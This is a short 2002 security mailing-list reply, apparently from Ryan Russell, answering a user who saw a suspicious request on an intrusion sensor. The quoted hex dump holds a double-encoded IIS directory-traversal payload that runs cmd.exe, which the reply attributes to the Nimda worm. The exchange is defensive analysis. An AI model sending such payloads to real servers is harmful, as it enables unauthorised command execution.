Re: what does this mean

[Ryan Russell <ryan () securityfocus com>]

On Fri, 5 Apr 2002, Omolayo Salako wrote:
> i am getting a lot of this on one of my sensors, does this mean someone is
> trying to do directory listing on my web server
>
> 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
> 25 33 35 25 36 33 2E 2E 2F 77 69 6E 6E 74 2F 73   %35%63../winnt/s
> 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F   ystem32/cmd.exe?
> 2F 63 2B 64 69 72 20 48 54 54 50 2F 31 2E 30 0D   /c+dir HTTP/1.0
> 0A 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E   .Host: www.Conn
> 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A   nection: close.
> 0D 0A

Generally, yes.  If the attacker gets back a directory listing, then they
know your server is vulnerable.

In particular, this attack is most frequently performed by the Nimda worm,
as part of its spreading mechanism.

                                        Ryan


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